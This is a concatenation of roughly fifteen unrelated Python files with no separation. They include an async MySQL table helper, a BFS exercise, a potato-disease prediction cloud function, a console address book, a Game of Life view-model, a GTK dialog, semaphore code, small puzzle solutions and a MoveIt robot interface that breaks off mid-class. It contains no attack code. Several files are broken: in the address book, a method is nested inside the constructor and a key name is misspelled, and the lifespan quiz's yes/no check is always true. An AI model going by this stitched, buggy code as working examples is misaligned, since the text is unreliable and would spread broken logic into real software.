from collections import deque
from aiomysql import create_pool
from aiopyql.utilities import flatten, no_blanks, inner, TableColumn
from aiopyql.exceptions import InvalidColumnType
import json, time

row_return_type = tuple

TRANSLATION = {
    'int': int,
    'double': float,
    'integer': int,
    'text': str,
    'real': float,
    'boolean': bool,
    'blob': bytes,
    'varchar': str,
}
def get_table_schema(table):
    constraints = ''
    cols = '('
    for col_name,col in table.columns.items():
        for k,v in TRANSLATION.items():
            if col.type == v:
                if len(cols) > 1:
                    cols = f'{cols}, '
                if col_name == table.prim_key and (k=='text' or k=='blob'):
                    cols = f'{cols}{col.name} VARCHAR(36)'
                else:
                    cols = f'{cols}{col.name} {k.upper()}'
                if col_name == table.prim_key:
                    cols = f'{cols} PRIMARY KEY'
                    if col.mods is not None and 'primary key' in col.mods.lower():
                        cols = f"{cols} {''.join(col.mods.upper().split('PRIMARY KEY'))}"
                    else:
                        cols = f"{cols} {col.mods.upper()}"
                else:
                    if col.mods is not None:
                        cols = f'{cols} {col.mods}'
                break
    if not table.foreign_keys == None:
        for local_key, foreign_key in table.foreign_keys.items():
            comma = ', ' if len(constraints) > 0 else ''
            constraints = f"{constraints}{comma}FOREIGN KEY({local_key}) REFERENCES {foreign_key['table']}({foreign_key['ref']}) {foreign_key['mods']}"
    comma = ', ' if len(constraints) > 0 else ''
    schema = f"CREATE TABLE {table.name} {cols}{comma}{constraints})"
    return schema

def get_db_manager():
    """
    returns async generator which manages context
    of the async db connection
    """
    async def mysql_connect(*args, **kwds):
        pool = await create_pool(*args, **kwds)
        try:
            async with pool.acquire() as conn:
                yield conn
        except Exception as e:
            pass
        pool.close()
        await pool.wait_closed()
    return mysql_connect

def get_cursor_manager(database):
    """
    returns async generator which manages context of cursor
    or passes db connection, as well as processes db commit
    for changes
    """
    async def mysql_cursor(commit=False):
        async for db in database.connect(**database.connect_config):
            async with db.cursor() as c:
                try:
                    yield (c, db)
                except Exception as e:
                    database.log.exception(f"error yielding cursor {repr(e)}")
            if commit:
                await db.commit()
        return
    return mysql_cursor
def show_tables(database):
    pass
async def load_tables(db):
    tables_in_db_coro = await db.get("show tables")
    def describe_table_to_col(column):
        config = []
        for i in ' '.join(column.split(',')).split(' '):
            if not i == '' and not i == '\n':
                config.append(i.rstrip())
        column = config
        field = inner(column[0], '`','`')
        typ = None
        for k, v in TRANSLATION.items():
            if k in column[1]:
                typ = v
                break
        if typ == None:
            raise InvalidColumnType(column[1], f"invalid type provided for column, supported types {list(TRANSLATION.keys())}")
        """
        Null = 'NOT NULL ' if column[2] == 'NO' else ''
        Key = 'PRIMARY KEY ' if column[3] == 'PRI' else ''
        Default = '' # TOODOO - check if this needs implementing
        """
        extra = ' '.join(column[2:])
        return TableColumn(field, typ, extra)
    for table, in tables_in_db_coro:
        cols_in_table = []
        table_schemas = await db.get(f'show create table {table}')
        for _, schema in table_schemas:
            schema = flatten(schema.split(f'CREATE TABLE `{table}`')[1])
            col_config = inner(schema).split(', ')
            cols_in_table = []
            foreign_keys = None
            for cfg in col_config:
                if not 'FOREIGN KEY' in cfg:
                    if not 'PRIMARY KEY' in cfg:
                        if not 'KEY' in cfg:
                            cols_in_table.append(describe_table_to_col(cfg))
                    else:
                        primary_key = inner(inner(cfg.split('PRIMARY KEY')[1]), '`', '`')
                else:
                    if foreign_keys == None:
                        foreign_keys = {}
                    local_key, ref = cfg.split('FOREIGN KEY')[1].split('REFERENCES')
                    local_key = inner(inner(local_key), '`', '`')
                    parent_table, mods = ref.split(')')
                    parent_table, parent_key = parent_table.split('(')
                    foreign_keys[no_blanks(local_key)] = {
                        'table': no_blanks(inner(parent_table, '`', '`')),
                        'ref': no_blanks(inner(parent_key, '`', '`')),
                        'mods': mods.rstrip()
                            }
        table = inner(table, '`', '`')
        await db.create_table(table, cols_in_table, primary_key, foreign_keys=foreign_keys, existing=True)
def validate_where_input(db, tables, where):
    for table in tables:
        for col_name, col in table.columns.items():
            if not col_name in where:
                continue
            if not col.type == bool:
                #JSON handling
                if col.type == str and type(where[col_name]) == dict:
                    where[col_name] = f"'{col.type(json.dumps(where[col_name]))}'"
                    continue
                where[col_name] = col.type(where[col_name]) if not where[col_name] in [None, 'NULL'] else 'NULL'
                continue
            # Bool column Type
            try:
                where[col_name] = col.type(int(where[col_name])) if table.database.type == 'mysql' else int(col.type(int(where[col_name])))
            except Exception as e:
                #Bool Input is string
                if 'true' in where[col_name].lower():
                    where[col_name] = True if table.database.type == 'mysql' else 1
                elif 'false' in where[col_name].lower():
                    where[col_name] = False if table.database.type == 'mysql' else 0
                else:
                    db.log.error(f"Unsupported value {where[col_name]} provide for column type {col.type}")
                    del(where[col_name])
                    continue
    return where
async def process_query_no_commit(db, conn, query_id, query):
    results = []
    db.log.debug(f"{db.db_name} - execute: {query}")
    await conn[0].execute(query)
    result = await conn[0].fetchall()
    for row in result:
        results.append(row)
    return result
def process_query_commit(db, conn, conn_id, query_id, query):
    db.querries_to_commit[conn_id].append(
        (query_id, query, conn[0].execute(query))
    )

async def submit_commit_pool(db, conn, conn_id):
    if len(db.querries_to_commit[conn_id]) > 0:
        db.log.debug(f"queue empty, commiting: {db.querries_to_commit[conn_id]}")
        await db.commit_querries(
            conn[1],
            db.querries_to_commit[conn_id]
        )
        db.querries_to_commit[conn_id] = deque()

async def migrate_table(db, new_table):
    log = db.log

    def get_dependent_tables(table_name):
        dependent_tables = []
        for table in db.tables:
            if db.tables[table].foreign_keys:
                for f_key, f_config in db.tables[table].foreign_keys.items():
                    log.debug(f"{table} get_dependent_tables: fkey_config: {f_config}")
                    if table_name == f_config['table']:
                        dependent_tables.append(table)
        log.debug(f"## dependent_tables: {dependent_tables}")
        for table in dependent_tables:
            dependent_tables += get_dependent_tables(table)
        return dependent_tables
    dependent_tables = get_dependent_tables(new_table.name)
    log.debug(f"dependent_tables: {dependent_tables}")
    tables_to_migrate = [ new_table.name ] + dependent_tables

    table_copies = {}

    # create copies of table & dependent tables
    for table in tables_to_migrate:
        table_copies[table] = await db.tables[table].select('*')

    log.warning(f"migrate table starting on tables {tables_to_migrate} due to '{new_table.name}' schema change")

    backup_name = f"{db.db_name}_backup_{time.time()}"
    log.warning(f"creating backup {backup_name} before migration")

    with open(backup_name, 'w') as backup:
        backup.write(
            json.dumps(table_copies)
        )

    new_table_cols = [col for col in new_table.columns]

    await db.run(
        f'ALTER TABLE {new_table.name} RENAME TO {new_table.name}_old'
    )

    # create new table
    await new_table.create_schema()

    db.tables[new_table.name] = new_table

    try:
        tables_to_migrate.reverse()
        for table in tables_to_migrate:
            if not table == new_table.name:
                await db.run(f'drop table {table}')
                await db.tables[table].create_schema()
        tables_to_migrate.reverse()
        for table in tables_to_migrate:
            for row in table_copies[table]:
                if table == new_table.name:
                    migrated_row = {k: v for k,v in row.items() if k in new_table_cols}
                    await db.tables[table].insert(**migrated_row)
                else:
                    await db.tables[table].insert(**row)

        await db.run(
            f'DROP TABLE {new_table.name}_old'
        )
    except Exception as e:
        log.exception(f"error migrating table {new_table.name} - {repr(e)}")
        raise e


from collections import deque

def bfs(start, visit, route):
    count = 0
    q = deque([[start, count]])  # [1,0]
    while q:
        value = q.popleft()
        v = value[0]  # 시작노드
        count = value[1]  # 1번노드부터 depth

        if visit[v] == -1:  # 방문하지 않았을 경우
            visit[v] = count
            count += 1
            for e in route[v]:
                q.append([e, count])

# n: node 수, edge: 양방향 간선

def solution(n, edge):
    answer = 0  # 가장 멀리있는 노드들의 갯수
    visit = [-1] * (n+1)  # 0~N번 노드까지 방문여부
    route = [[] for _ in range(n+1)]  # 각 노드에서 다른 노드까지 간선

    for e in edge:  # 양방향 그래프 생성
        route[e[0]].append(e[1])
        route[e[1]].append(e[0])

    bfs(1, visit, route)  # 1번 노드에서 시작
    for value in visit:
        if value == max(visit):
            answer += 1

    return answer
    # for _ in range(n):
    # return answer

def main():
    print(
        solution(6, [[3, 6], [4, 3], [3, 2], [1, 3], [1, 2], [2, 4], [5, 2]])
    )

main()


## For mobile devices ##

from google.cloud import storage
import tensorflow as tf
from PIL import Image
import numpy as np

BUCKET = "boom155" ##google cloud bucket name
CLASS_NAMES = ["Early Blight","Late Blight","Healthy"]

model = None

def download_blob(bucket_name,source_blob_name,destination_file_name):
    storage_client = storage.Client()
    bucket = storage_client.get_bucket(bucket_name)
    blob = bucket.blob(source_blob_name)
    blob.download_to_filename(destination_file_name)

## predict function uploaded on the cloud which will be called everytime when someone uses the application
def predict(request):
    global model
    if model is None:
        download_blob(
            BUCKET,
            "models/mymodel_for_mobile.h5",
            "/tmp/mymodel_for_mobile.h5",
        )
        model = tf.keras.models.load_model("/tmp/mymodel_for_mobile.h5")

    image = request.files["file"]

    ## To resize every image file sent by the user/client to 256*256 dimensions
    image = np.array(Image.open(image).convert("RGB").resize((256,256)))
    img_array = tf.expand_dims(image,0)
    print(img_array)
    predictions = model.predict(img_array)
    print("Predictions:", predictions)
    index = np.argmax(predictions)
    print("index",index)
    predicted_class = CLASS_NAMES[index]
    confidence = round(100 * (np.max(predictions)), 2)

    return {"class": predicted_class, "confidence": confidence}


"""
@Author: Swapnil Bhoyar
@Date: 2021-06-30 19:00:00
@Last Modified By: Swapnil Bhoyar
@Last Modified Date: 2021-07-01 17:15:00
@Title: Write a Program to implement addressbook.
"""
import logging
import json
from json import JSONEncoder

class LoggerInfo:
    logger = logging.Logger(__name__)
    formatter = logging.Formatter('%(levelname)s:%(name)s:%(message)s')

    file_handler = logging.FileHandler('AddressBook.log')
    logger.addHandler(file_handler)

    logging.basicConfig(filename='addressBookErrors.log',  format='%(asctime)s %(levelname)s %(name)s %(message)s')
    loggerError = logging.getLogger(__name__)

class Contacts:
    def __init__(self, contactData):
        self.firstName = contactData["firstName"]
        self.lastName = contactData["lastName"]
        self.address = contactData["address"]
        self.city = contactData["city"]
        self.state = contactData["state"]
        self.zip = contactData["zip"]
        self.phoneNumber = contactData["phoneNumber"]
        self.email = contactData["email"]

        LoggerInfo.logger.info('Created Contact: {} - {} - {} - {} - {} - {} - {} - {}'.format(self.firstName, self.lastName, self.address, self.city, self.state, self.zip, self.phoneNumber,self.email))

        def __str__(self):
            return "first name = " + self.firstName + \
                " last name = " + self.lastName + \
                " address = " + self.address + \
                " city = " + self.state + \
                " state = " + self.state + \
                " zip = " + self.zip + \
                " phoneNumber = " + self.phoneNumber + \
                " email = " + self.email

class ContactEncoder(JSONEncoder):

    def default(self, object):
        if isinstance(object, Contacts):

            return object.__dict__

        else:

            # call base class implementation which takes care of

            # raising exceptions for unsupported types

            return json.JSONEncoder.default(self, object)

class AddressBook:
    addressBookData = {}
    def addContact(self, addressBookName, contactList):
        """
        Desciption:
            this function add contact
        Parameter:
            addressBookName: string
            contactList: list
        """
        try:

            contactData = {
                "firstName": input("First name:"),
                "lastName": input("last name:"),
                "address": input("address:"),
                "city":input("city:"),
                "state": input("state:"),
                "zip": input("zip:"),
                "phoneNumber": input("phoneNumber:"),
                "email": input("email:")
            }

            contact = Contacts(contactData)
            contactList.append(contact)
            self.addressBookData = {addressBookName: contactList}

            # Serializing json
            json_string = ContactEncoder().encode(contact)

            with open("contactFile.json", "w") as outfile:
                outfile.write(json_string)

        except Exception as e:
            LoggerInfo.loggerError.error(e)

        finally:
            outfile.close()

    def updateContact(self,addressBookName, contactList):
        """
        Desciption:
            this function update contact
        Parameter:
            contactList: list
        """
        first_name = input("Enter first name to edit:")
        for contact in contactList:
            if contact.firstName == first_name:

                with open('contactFile.json') as data_file:
                    data = json.load(data_file)

                # Iterate through the objects in the JSON

                for element in data:
                    if 'fiestName' in element == first_name:
                        del element

                with open('contactFile.json', 'w') as data_file:
                    data = json.dump(data, data_file)

                contactData = {
                "firstName": input("First name:"),
                "lastName": input("last name:"),
                "address": input("address:"),
                "city":input("city:"),
                "state": input("state:"),
                "zip": input("zip:"),
                "phoneNumber": input("phoneNumber:"),
                "email": input("email:")
            }

            contact = Contacts(contactData)
            contactList.append(contact)
            self.addressBookData = {addressBookName: contactList}

            # Serializing json
            json_string = ContactEncoder().encode(contact)

            with open("contactFile.json", "w") as outfile:
                outfile.write(json_string)

        else:
            print("contact does not exist")

    def removeContact(self, contactList):
        """
        Desciption:
            this function delete contact
        Parameter:
            contactList: list
        """
        try:
            first_name = input("Enter name of contact to remove:")
            index = 0
            for contact in contactList:
                if contact.firstName == first_name:
                    del contactList[index]
                    break
                index += 1

                with open('contactFile.json') as data_file:
                    data = json.load(data_file)

                # Iterate through the objects in the JSON

                for element in data:
                    if 'fiestName' in element == first_name:
                        del element

                with open('contactFile.json', 'w') as data_file:
                    data = json.dump(data, data_file)
        except Exception as e:
            LoggerInfo.loggerError.error(e)

    def contactDataOperations(self, addressBookName, contactList):
        """
        Desciption:
            this function perform contact operations
        Parameter:
            addressBookName: string
            contactList: list
        """
        try:
            status = True
            while status:
                userChoice = int(input("1.ADD CONTACT\n2.UPDATE CONTACT\n3.REMOVE CONTACT\n4.PRINT\n5.EXIT\n"))
                if userChoice == 1:
                    self.addContact(addressBookName, contactList)
                elif userChoice == 2:
                    self.updateContact(contactList)
                elif userChoice == 3:
                    self.removeContact(contactList)
                elif userChoice == 4:
                    # for contact in contactList:
                    #     print(contact)
                    with open('contactFile.json') as data_file:
                        data = json.load(data_file)

                    # Iterate through the objects in the JSON

                    for element in data.values():
                        print(element)
                elif userChoice == 5:
                    status = False
        except Exception as e:
            LoggerInfo.loggerError.error(e)

    def getNewAddressBook(self):
        """
        Desciption:
            this function create addressbook
        """
        contactList = []
        try:
            addressBookName = input("Enter addressbook name:")
            self.addContact(addressBookName, contactList)
            self.contactDataOperations(addressBookName, self.addressBookData[addressBookName])
        except Exception as e:
            LoggerInfo.loggerError.error(e)

    def createAddressBook(self):
        """
        Desciption:
            this function add addressbook
        """
        status = True
        try:
            while status:
                userChoice = int(input("\n1.NEW ADDRESS BOOK\n2. SELECT ADDRESS BOOK\n3. EXIT\n"))
                if userChoice == 1:
                    self.getNewAddressBook()
                elif userChoice == 2:
                    address_book_name = input("Enter addressbook name to access:")
                    for addressbook in self.addressBookData:
                        if addressbook == address_book_name:
                            self.contactDataOperations(addressbook, self.addressBookData[addressbook])
                    else:
                        print("addressbook does not exist")
                else:
                    status = False
        except Exception as e:
            LoggerInfo.loggerError.error(e)

addressBookObj = AddressBook()
addressBookObj.createAddressBook()


from game_of_life.model.game_of_life import GameOfLife
from game_of_life.logger.reallogger import RealLogger

class GameOfLifeViewModel:
    def __init__(self, logger=RealLogger()):
        self.logger = logger
        self.next_step_btn_state = 'disabled'
        self.remove_row_btn_state = 'disabled'
        self.remove_column_btn_state = 'disabled'

        self.rows = 2
        self.columns = 2

        self.current_color_field = []
        self.current_binary_field = []
        self.next_binary_field = []
        self.next_color_field = []

    def set_number_of_rows(self, rows):
        self.rows = rows
        self.logger.log('Setting number of rows to %s' % self.rows)

    def get_number_of_rows(self):
        return self.rows

    def set_number_of_columns(self, columns):
        self.columns = columns
        self.logger.log('Setting number of columns to %s' % self.columns)

    def get_number_of_columns(self):
        return self.columns

    def set_current_color_field(self, field):
        self.current_color_field = field

    def get_current_color_field(self):
        return self.current_color_field

    def set_next_color_field(self, field):
        self.next_color_field = field

    def get_next_color_field(self):
        return self.next_color_field

    def set_next_step_btn_state(self, state):
        self.next_step_btn_state = state

    def get_remove_row_btn_state(self, rows):
        if rows == 2:
            self.remove_row_btn_state = 'disabled'
        else:
            self.remove_row_btn_state = 'normal'
        return self.remove_row_btn_state

    def get_remove_column_btn_state(self, columns):
        if columns == 2:
            self.remove_column_btn_state = 'disabled'
        else:
            self.remove_column_btn_state = 'normal'
        return self.remove_column_btn_state

    def is_all_white(self) -> bool:
        for i in range(len(self.current_color_field)):
            for j in range(len(self.current_color_field)):
                if self.current_color_field[i][j]["bg"] == "Black":
                    return False
        return True

    def get_next_step_btn_state(self):
        if self.is_all_white():
            self.set_next_step_btn_state("disabled")
        else:
            self.set_next_step_btn_state("normal")
        return self.next_step_btn_state

    def convert_field_to_binary(self, color_field):
        self.current_binary_field.clear()
        for i in range(self.rows):
            self.current_binary_field.append([])
            for j in range(self.columns):
                if color_field[i][j]["bg"] == "Black":
                    self.current_binary_field[i].append(1)
                else:
                    self.current_binary_field[i].append(0)

    def convert_field_to_color(self):
        for i in range(self.rows):
            for j in range(self.columns):
                if self.next_binary_field[i][j] == 1:
                    self.next_color_field[i][j]['bg'] = "Black"
                else:
                    self.next_color_field[i][j]['bg'] = "White"
                self.logger.log('Next color field is %s' % self.next_color_field[i][j]['bg'])

    def compute_next_step(self):
        self.logger.log('Button clicked')
        game = GameOfLife()
        self.convert_field_to_binary(self.current_color_field)
        self.next_binary_field = game.start(self.current_binary_field)
        self.convert_field_to_color()

    def color_changed(self, i, j):
        if self.current_color_field[i][j]["bg"] == "White":
            self.current_color_field[i][j]["bg"] = "Black"
        else:
            self.current_color_field[i][j]["bg"] = "White"

    def clicked_remove(self, new):
        if new == 'row' and self.rows > 2:
            self.logger.log('Remove row button clicked')
            self.rows -= 1
            self.logger.log('Current amount of rows is %s' % self.rows)
        if new == 'column' and self.columns > 2:
            self.logger.log('Remove column button clicked')
            self.columns -= 1
            self.logger.log('Current amount of columns is %s' % self.columns)

    def clicked_add(self, new):
        if new == 'row':
            self.logger.log('Add row button clicked')
            self.rows += 1
            self.logger.log('Current amount of rows is %s' % self.rows)
        if new == 'column':
            self.logger.log('Add column button clicked')
            self.columns += 1
            self.logger.log('Current amount of columns is %s' % self.columns)


from gettext import gettext as _

from gi.repository import Gtk

class SettingsDialog(Gtk.Dialog):
    SPACING = 5

    def __init__(self, top_window):
        Gtk.Dialog.__init__(self)
        self.set_transient_for(top_window)
        self.set_title(_("Settings"))
        self.props.modal = True

        notebook = Gtk.Notebook()
        notebook.set_size_request(400, 300)
        self.get_content_area().add(notebook)
        notebook.show()

        box = self._create_onionskin_settings()
        label = Gtk.Label()
        label.props.label = _("Onionskin")
        notebook.append_page(box, label)
        box.show()

        box = self._create_metronome_settings()
        label = Gtk.Label()
        label.props.label = _("Metronome")
        notebook.append_page(box, label)
        box.show()

    def _add_label(self, label_text, box, x, y, w=1, h=1):
        alignment = Gtk.Alignment.new(0.0, 0.0, 0.0, 1.0)
        alignment.props.hexpand = True
        alignment.set_padding(self.SPACING, self.SPACING,
                              self.SPACING, self.SPACING)
        box.attach(alignment, x, y, w, h)
        alignment.show()

        label = Gtk.Label()
        label.props.label = label_text
        alignment.add(label)
        label.show()

    def _add_control(self, widget, box, x, y, w=1, h=1, scale_x=0.0):
        alignment = Gtk.Alignment.new(0.0, 0.0, scale_x, 1.0)
        alignment.props.hexpand = True
        alignment.set_padding(self.SPACING, self.SPACING,
                              self.SPACING, self.SPACING)
        box.attach(alignment, x, y, w, h)
        alignment.show()

        alignment.add(widget)
        widget.show()

    def _create_onionskin_settings(self):

        grid = Gtk.Grid()
        grid.props.orientation = Gtk.Orientation.HORIZONTAL

        cur_row = 0

        self._add_label(_("Onionskin:"), grid, 0, cur_row)

        onionskin_switch = Gtk.Switch()
        onionskin_switch.props.active = True
        self._add_control(onionskin_switch, grid, 1, cur_row)

        cur_row += 1

        self._add_label(_("Type:"), grid, 0, cur_row)

        cels_radio = Gtk.RadioButton()
        cels_radio.props.label = _("By Cels")
        self._add_control(cels_radio, grid, 1, cur_row)

        cur_row += 1

        frames_radio = Gtk.RadioButton()
        frames_radio.props.label = _("By Frames")
        frames_radio.join_group(cels_radio)
        self._add_control(frames_radio, grid, 1, cur_row)

        cur_row += 1

        self._add_label(_("Previous range:"), grid, 0, cur_row)

        prev_adj = Gtk.Adjustment(value=0, lower=0, upper=6,
                                  step_incr=1, page_incr=1, page_size=1)

        prev_scale = Gtk.Scale()
        prev_scale.set_adjustment(prev_adj)
        prev_scale.set_digits(0)
        prev_scale.props.orientation = Gtk.Orientation.HORIZONTAL
        self._add_control(prev_scale, grid, 1, cur_row, scale_x=1.0)

        cur_row += 1

        self._add_label(_("Nest range:"), grid, 0, cur_row)

        next_adj = Gtk.Adjustment(value=0, lower=0, upper=6,
                                  step_incr=1, page_incr=1, page_size=1)

        next_scale = Gtk.Scale()
        next_scale.set_adjustment(next_adj)
        next_scale.set_digits(0)
        next_scale.props.orientation = Gtk.Orientation.HORIZONTAL
        self._add_control(next_scale, grid, 1, cur_row, scale_x=1.0)

        cur_row += 1

        return grid

    def _create_metronome_settings(self):

        grid = Gtk.Grid()
        grid.props.orientation = Gtk.Orientation.HORIZONTAL

        cur_row = 0

        self._add_label(_("Metronome:"), grid, 0, cur_row)

        metronome_switch = Gtk.Switch()
        metronome_switch.props.active = True
        self._add_control(metronome_switch, grid, 1, cur_row)

        cur_row += 1

        self._add_label(_("Beats:"), grid, 0, cur_row)

        first_radio = None
        for i, beat in enumerate([_('6'), _('8'), _('12')]):
            radio = Gtk.RadioButton()
            radio.props.label = beat

            if i == 0:
                first_radio = radio
            else:
                radio.join_group(first_radio)

            self._add_control(radio, grid, 1, cur_row)

            cur_row += 1

        return grid


# When writer enters, no other readers can enter until all writers leave.
from threading import Thread, Semaphore

class Lightswitch:
    def __init__(self):
        self._inside = 0
        self._lock = Semaphore(value=1)
        self._empty = Semaphore(value=1)

    def acquire_the(self, semaphore):
        self._lock.acquire()
        if self._inside == 0:
            semaphore.acquire()
        self._inside += 1
        self._lock.release()

    def release_the(self, semaphore):
        self._lock.acquire()
        self._inside -= 1
        if self._inside == 0:
            semaphore.release()
        self._lock.release()

reader_lightswitch = Lightswitch()
writer_lock = Semaphore(value=1)
writer_lightswitch = Lightswitch()
reader_lock = Semaphore(value=1)

def reader_worker():
    reader_lock.acquire()
    reader_lock.release()
    reader_lightswitch.acquire_the(writer_lock)
    # Reading...
    reader_lightswitch.release_the(writer_lock)

def writer_worker():
    writer_lightswitch.acquire_the(reader_lock)
    writer_lock.acquire()
    # Writing...
    writer_lock.release()
    writer_lightswitch.release_the(reader_lock)


def get_image(input):
  crt = [['.' for i in range(40)] for j in range(6)]
  cycle = 0
  register = 1
  for cmd in input.split('\n'):
    row = (cycle) // 40
    col = (cycle) % 40
    if register >= (col - 1) and register <= (col + 1):
      crt[row][col] = '#'
    if cmd == 'noop':
      cycle += 1
    if cmd.split(' ')[0] == 'addx':
      row = (cycle + 1) // 40
      col = (cycle + 1) % 40
      if register >= (col - 1) and register <= (col + 1):
        crt[row][col] = '#'
      cycle += 2
      register += int(cmd.split(' ')[1])
  for r in crt:
    print(''.join(r))


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

HOST = "localhost"
PORT = 4223
UID = "2aAi1w"

from tinkerforge.ip_connection import IPConnection
from tinkerforge.bricklet_performance_dc import BrickletPerformanceDC
import time

if __name__ == "__main__":
    ipcon = IPConnection() # Create IP connection
    dc = BrickletPerformanceDC(UID, ipcon) # Create device object

    ipcon.connect(HOST, PORT) # Connect to brickd
    # Don't use device before ipcon is connected

    dc.set_thermal_shutdown(30)
    while True:
        temperature = dc.get_thermal_shutdown()
        print('{0} °C'.format(temperature))
        time.sleep(0.1)

    ipcon.disconnect()


from rsf.proj import *

Flow('mod3o',None,
     '''sigmoid n1=200 d2=.008 n2=200''')
Plot('mod3o','grey title="Original"')

Flow('mod3',None,
     '''sigmoid n1=200 d2=.008 n2=200 |
     smooth rect1=3 diff1=1 adj=y |
     smooth rect1=3''')
Plot('mod3','grey title="Smoothed"')
Result('orismo','mod3o mod3','SideBySideAniso')

Flow('smod3o','mod3o','spectra all=y')
Result('smod3o','graph title="mod3o spectrum" label2= unit2=')

Flow('dki','mod3',
     'preconstkirch inv=y zero=y vel=1.5 nh=1 h0=0 dh=0')

Flow('mod1','mod3','window j2=4')
Flow('mod2','mod3','window j2=2')

for size in range(1,4):
    dki = 'dki%d' % size
    mod = 'mod%d' % size
    Flow(dki,mod,
         'preconstkirch inv=y zero=y vel=1.5 nh=1 h0=0 dh=0')

Flow('kir','dki3',
     'preconstkirch inv=n zero=y vel=1.5')

for case in ['mod3','dki3','kir','mod1','dki1','mod2','dki2']:
    Plot(case,'grey title="%s" labelsz=10' % case)

Result('kfgood','mod3 dki3','SideBySideAniso')
Result('skmig', 'mod3 kir ','SideBySideAniso')

Flow('smod','mod3','spectra all=y | scale axis=1')
Flow('skir','kir','spectra all=y | scale axis=1')
Flow('skir2','skir','pow pow1=1 | scale axis=1')
Result('kirspec','smod skir2 skir',
       '''
       cat axis=2 ${SOURCES[1:3]} |
       dots yreverse=1 labels="m=model:f * recon:recon"
       label1=Frequency unit1=Hz dots=0
       ''')

Result('skmod','mod1 dki1 mod2 dki2','TwoRows')

###########################################################################
End()


import numpy as np
import cv2

pic = np.zeros((500, 500, 3), dtype =  'uint8') # Crea una imagen 500x500 fondo negro de int 8

font = cv2.FONT_HERSHEY_COMPLEX
cv2.putText(pic, 'Angel', (100, 100), font, 3, (255,255,255), 4, cv2.LINE_8)

cv2.imshow('Dark', pic)
cv2.waitKey(0)
cv2.destroyAllWindows()


s = "pPoooyY"
def solution(s):
    answer = True
    s = s.lower()
    s_cnt = 0
    p_cnt = 0
    for i in s:
        if i == 'y':
            s_cnt+=1
        if i == 'p':
            p_cnt +=1
    if s_cnt == p_cnt:
        answer = True
    else :
        answer = False

    return answer

res = solution(s)
print(res)

'''
def numPY(s):
    # 함수를 완성하세요
    return s.lower().count('p') == s.lower().count('y')'''

문자열내p와y의개수.py


import datetime

AVERAGE_LIFESPAN =  80

SMOKER_PENALIZATION = 10
DRINKER_PENALIZATION = 10
SEDENTARY_PENALIZATION = 20

def print_with_underscores(message):
    print(message)
    print(len(message) * "-")

def ask_yes_or_not(message):
    response = None

    while response != "S" and response != "N":
        response = input(message + "[S/N]")
    return response

print_with_underscores("Averigua cuanto te queda de vida")
print("Completa esta encuesta para saber cuantos años te quedan")

birth_date = input("¿Cual es tu fecha de nacimiento (formato dd/mm/yyyy)?")

birth_date = datetime.datetime.strptime(birth_date, "%d/%m/%Y")

years_losts = 0

if ask_yes_or_not("¿Fumas?"):
    years_losts += SMOKER_PENALIZATION

if ask_yes_or_not("¿Bebes?"):
    years_losts += DRINKER_PENALIZATION

if  not ask_yes_or_not("¿Haces deporte?"):
    years_losts += SEDENTARY_PENALIZATION

lifespan = AVERAGE_LIFESPAN - years_losts

death_day = birth_date + datetime.timedelta(days = lifespan*365)

print("Fecha de muerte: {}".format(death_day.strftime("%d/%m/%Y")))


# input [25,35,872,228,53,278,872']
# output =4 (35,53) (872,278) (872',872),(278,872')

def digitNums(array):
    if len(array) == 0:
        return 0
    list = []
    for nums in array:
        numList = [int(x) for x in str(nums)]
        list.append(sorted(numList))
    n = len(list)
    ans = 0
    for i in range(n):
        for j in range(i+1,n):
            if list[i] == list[j]:
                ans += 1
    return ans

array = [25,35,872,228,53,278,872]
print(digitNums(array))


#!/usr/bin/env python

import sys
import copy
import rospy
import moveit_commander
import moveit_msgs.msg
import geometry_msgs.msg
from math import pi
from std_msgs.msg import String
from moveit_commander.conversions import pose_to_list
from random import *

def all_close(goal, actual, tolerance):
  """
  Convenience method for testing if a list of values are within a tolerance of their counterparts in another list
  @param: goal       A list of floats, a Pose or a PoseStamped
  @param: actual     A list of floats, a Pose or a PoseStamped
  @param: tolerance  A float
  @returns: bool
  """
  all_equal = True
  if type(goal) is list:
    for index in range(len(goal)):
      if abs(actual[index] - goal[index]) > tolerance:
        return False

  elif type(goal) is geometry_msgs.msg.PoseStamped:
    return all_close(goal.pose, actual.pose, tolerance)

  elif type(goal) is geometry_msgs.msg.Pose:
    return all_close(pose_to_list(goal), pose_to_list(actual), tolerance)

  return True

class MoveGroupPythonInterface(object):

    def __init__(self):
        super(MoveGroupPythonInterface, self).__init__()

        # initialize moveit_commander and rospy node
        moveit_commander.roscpp_initialize(sys.argv)
        rospy.init_node('move_group_python_interface', anonymous=True)

        # instantiate a RobotCommander object
        # infos : kinematic model, current joint state
        robot = moveit_commander.RobotCommander()

        # instantiate a PlanningSceneInterface object
        # infos : getting, setting, updating internal understanding of robot
        scene = moveit_commander.PlanningSceneInterface()

        # instantiate MoveGroupCommander object
        # infos : interface to a planning group
        group_name = "arm"
        move_group = moveit_commander.MoveGroupCommander(group_name)

        # create DisplayTrajectory ros publisher
        # infos :  display trajectories in Rviz
        display_trajectory_publisher = rospy.Publisher('/move_group/display_planned_path',
                                                        moveit_msgs.msg.DisplayTrajectory,
                                                        queue_size = 20)

        # getting basic information
        planning_frame = move_group.get_planning_frame()
        print("====== Planning frame: %s", planning_frame)

        eef_link = move_group.get_end_effector_link()
        print("===== End effector link: %s", eef_link)

        group_names = robot.get_group_names()
        print("===== Available planning groups:", group_names)

        print("===== Printing robot state")
        print(robot.get_current_state())
        print("")

        # variables
        self.robot = robot
        self.scene = scene
        self.move_group = move_group
        self.display_trajectory_publisher = display_trajectory_publisher
        self.planning_frame = planning_frame
        self.eef_link = eef_link
        self.group_names = group_names

    def go_to_pose_goal(self, pose):
        # planning to a pose goal
        pose_goal = geometry_msgs.msg.Pose()
        pose_goal.orientation.w = pose[0]
        pose_goal.position.x = pose[1]
        pose_goal.position.y = pose[2]
        pose_goal.position.z = pose[3]

        self.move_group.set_pose_target(pose_goal)

        # computation of the plan
        plan = self.move_group.go(wait=True)
        # avoid residual movement
        self.move_group.stop()
        # clear targets
        self.move_group.clear_pose_targets()

        # for testing
        current_pose = self.move_group.get_current_pose().pose
        return all_close(pose_goal, current_pose, 0.01)

    def plan_cartesian_path(self, waypoints):
        # planning cartesian path
        (plan, fraction) = self.move_group.compute_cartesian_path(
                                    waypoints,   # waypoints to follow
                                    0.01,        # eef_step
                                    0.0)         # jump_threshold
        return plan, fraction

    def display_trajectory(self, plan):
        # display a trajectory
        display_trajectory = moveit_msgs.msg.DisplayTrajectory()
        display_trajectory.trajectory_start = self.robot.get_current_state()
        display_trajectory.trajectory.append(plan)
